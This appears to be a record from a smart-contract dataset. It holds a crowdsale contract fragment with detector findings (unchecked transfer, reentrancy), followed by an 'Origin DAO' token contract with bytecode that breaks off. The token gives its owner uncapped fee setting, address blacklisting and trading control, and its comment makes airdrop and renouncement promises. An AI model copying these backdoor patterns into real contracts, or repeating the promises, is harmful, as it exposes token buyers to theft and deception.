@dev Internal function that is used to determine the current rate for token / ETH conversion * @return The current token rate */ function getRate() internal view returns (uint256) { if(now < (startTime + 5 weeks)) { return 7000; } if(now < (startTime + 9 weeks)) { return 6500; } if(now < (startTime + 13 weeks)) { return 6000; } if(now < (startTime + 15 weeks)) { return 5500; } return 5000; } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != 0x0); require(validPurchase()); require(msg.value >= 0.05 ether); uint256 weiAmount = msg.value; uint256 updateWeiRaised = weiRaised.add(weiAmount); uint256 rate = getRate(); uint256 tokens = weiAmount.mul(rate); require ( tokens <= token.balanceOf(this)); // update state weiRaised = updateWeiRaised; token.transfer(beneficiary, tokens); tokensSold = tokensSold.add(tokens); emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // @return true if crowdsale event has ended function hasEnded() public view returns (bool) { return now > endTime || tokensSold >= hardCap; } // Override this method to have a way to add business logic to your crowdsale when buying function tokenResend() public onlyOwner { token.transfer(owner, token.balanceOf(this)); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal view returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; bool hardCapNotReached = tokensSold < hardCap; return withinPeriod && nonZeroPurchase && hardCapNotReached; } }
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633197cbb6146100d05780634042b66f146100fb578063518ab2a814610126578063521eb273146101515780635384527a146101a857806378e97925146101bf5780638da5cb5b146101ea5780639795aabf14610241578063ec8ac4d814610284578063ecb70fb7146102ba578063f2fde38b146102e9578063fb86a4041461032c578063fc0c546a14610357575b6100ce336103ae565b005b3480156100dc57600080fd5b506100e56106e1565b6040518082815260200191505060405180910390f35b34801561010757600080fd5b506101106106e7565b6040518082815260200191505060405180910390f35b34801561013257600080fd5b5061013b6106ed565b6040518082815260200191505060405180910390f35b34801561015d57600080fd5b506101666106f3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101b457600080fd5b506101bd610719565b005b3480156101cb57600080fd5b506101d461098f565b6040518082815260200191505060405180910390f35b3480156101f657600080fd5b506101ff610995565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561024d57600080fd5b50610282600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109ba565b005b6102b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103ae565b005b3480156102c657600080fd5b506102cf610aed565b604051808215151515815260200191505060405180910390f35b3480156102f557600080fd5b5061032a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b11565b005b34801561033857600080fd5b50610341610c66565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610c75565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008060008060008573ffffffffffffffffffffffffffffffffffffffff16141515156103da57600080fd5b6103e2610c9b565b15156103ed57600080fd5b66b1a2bc2ec50000341015151561040357600080fd5b34935061041b84600554610ceb90919063ffffffff16565b9250610425610d09565b915061043a8285610d7890919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156104f957600080fd5b505af115801561050d573d6000803e3d6000fd5b505050506040513d602081101561052357600080fd5b8101908080519060200190929190505050811115151561054257600080fd5b82600581905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb86836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561060e57600080fd5b505af1158015610622573d6000803e3d6000fd5b505050506040513d602081101561063857600080fd5b81019080805190602001909291905050505061065f81600654610ceb90919063ffffffff16565b6006819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188684604051808381526020018281526020019250505060405180910390a36106da610db3565b5050505050565b60035481565b60055481565b60065481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077457600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561089157600080fd5b505af11580156108a5573d6000803e3d6000fd5b505050506040513d60208110156108bb57600080fd5b81019080805190602001909291905050506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561095157600080fd5b505af1158015610965573d6000803e3d6000fd5b505050506040513d602081101561097b57600080fd5b810190808051906020019092919050505050565b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a1557600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015610ad257600080fd5b505af1158015610ae6573d6000803e3d6000fd5b5050505050565b6000600354421180610b0c57506a13da329b6336471800000060065410155b905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b6c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ba857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6a13da329b6336471800000081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806002544210158015610cb557506003544211155b9250600034141591506a13da329b63364718000000600654109050828015610cda5750815b8015610ce35750805b935050505090565b6000808284019050838110151515610cff57fe5b8091505092915050565b6000622e248060025401421015610d2457611b589050610d75565b62530e8060025401421015610d3d576119649050610d75565b6277f88060025401421015610d56576117709050610d75565b628a6d8060025401421015610d6f5761157c9050610d75565b61138890505b90565b6000806000841415610d8d5760009150610dac565b8284029050828482811515610d9e57fe5b04141515610da857fe5b8091505b5092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610e1b573d6000803e3d6000fd5b505600a165627a7a72305820af0c3674cd440958fb33dfcb53404f29d2290acdf6104ce8a84767079b1f2b680029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
2,547
0xf5699e648a5c39f84591ef51360b9d1d8590170c
// SPDX-License-Identifier: Unlicensed /** Launch in 10 minutes Mastering Bitcoin-Unlocking Digital Cryptocurrencies Every Bitcoin wallet contains one or more private keys, which are saved in the wallet file.  The private keys are mathematically related to all Bitcoin addresses generated for the wallet.  We believe in fairness and freedom, and we hope that $Base58 is a collective of equal relationships. If you have wisdom, you are welcome to join us. This is not just DAO. The first 300 holders and enter our discord will receive 0.1 ETH, only once per Discord member per address. Our Web and Discord based on Base58 and all the clues came from Twitter https://twitter.com/base58eth Bless everyone Total: 100,000,000 Burn: 42,000,000 Liquidity: 58 ETH Max buy: 100,000 Max wallet: 500,000 Slippage: buy 5% and sell 8% When we reach 300 holders who had received 0.1 ETH, we reduce the slippage to 1% and then will renounce. ▒█▀▀▀█ ▒█▀▀█ ▀█▀ ▒█▀▀█ ▀█▀ ▒█▄░▒█   ▒█▀▀▄ ░█▀▀█ ▒█▀▀▀█ ▒█░░▒█ ▒█▄▄▀ ▒█░ ▒█░▄▄ ▒█░ ▒█▒█▒█   ▒█░▒█ ▒█▄▄█ ▒█░░▒█ ▒█▄▄▄█ ▒█░▒█ ▄█▄ ▒█▄▄█ ▄█▄ ▒█░░▀█   ▒█▄▄▀ ▒█░▒█ ▒█▄▄▄█ ▒█▀▀█ ░█▀▀█ ▒█▀▀▀█ ▒█▀▀▀ █▀▀ ▄▀▀▄ ▒█▀▀▄ ▒█▄▄█ ░▀▀▀▄▄ ▒█▀▀▀ ▀▀▄ ▄▀▀▄ ▒█▄▄█ ▒█░▒█ ▒█▄▄▄█ ▒█▄▄▄ ▄▄▀ ▀▄▄▀ ▒█▀▀█ ▀█▀ ▀▀█▀▀ ▒█▀▀█ ▒█▀▀▀█ ▀█▀ ▒█▄░▒█ ▒█▀▀▄ ▒█░ ░▒█░░ ▒█░░░ ▒█░░▒█ ▒█░ ▒█▒█▒█ ▒█▄▄█ ▄█▄ ░▒█░░ ▒█▄▄█ ▒█▄▄▄█ ▄█▄ ▒█░░▀█ **/ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ORIGINDAO is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Origin DAO"; string private constant _symbol = "BASE58"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 5; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 8; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xfe32348d77a56C90175d293Ae1AA2f385993E1e4); address payable private _marketingAddress = payable(0xfe32348d77a56C90175d293Ae1AA2f385993E1e4); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000 * 10**9; uint256 public _maxWalletSize = 500000 * 10**9; uint256 public _swapTokensAtAmount = 10 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b257600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611955565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600a8152694f726967696e2044414f60b01b60208201525b60405161023a9190611a1a565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a6f565b61069c565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b5067016345785d8a00005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611a9b565b6106b3565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601554610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611adc565b61071c565b34801561036e57600080fd5b506101fc61037d366004611b09565b610767565b34801561038e57600080fd5b506101fc6107af565b3480156103a357600080fd5b506102c26103b2366004611adc565b6107fa565b3480156103c357600080fd5b506101fc61081c565b3480156103d857600080fd5b506101fc6103e7366004611b24565b610890565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611adc565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611b09565b6108bf565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b5060408051808201909152600681526508482a68a6a760d31b602082015261022d565b3480156104be57600080fd5b506101fc6104cd366004611b24565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b3d565b610936565b3480156104fe57600080fd5b5061026361050d366004611a6f565b610974565b34801561051e57600080fd5b5061026361052d366004611adc565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b6f565b6109d5565b34801561058357600080fd5b506102c2610592366004611bf3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b24565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611adc565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c2c565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c61565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c8d565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611da5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c2c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c2c565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c2c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c2c565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c2c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c2c565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c2c565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c2c565b60005b82811015610a70578160056000868685818110610a2157610a21611c61565b9050602002016020810190610a369190611adc565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c8d565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c2c565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c2c565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611ca6565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c5750601554600160a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b038581169116148015611194575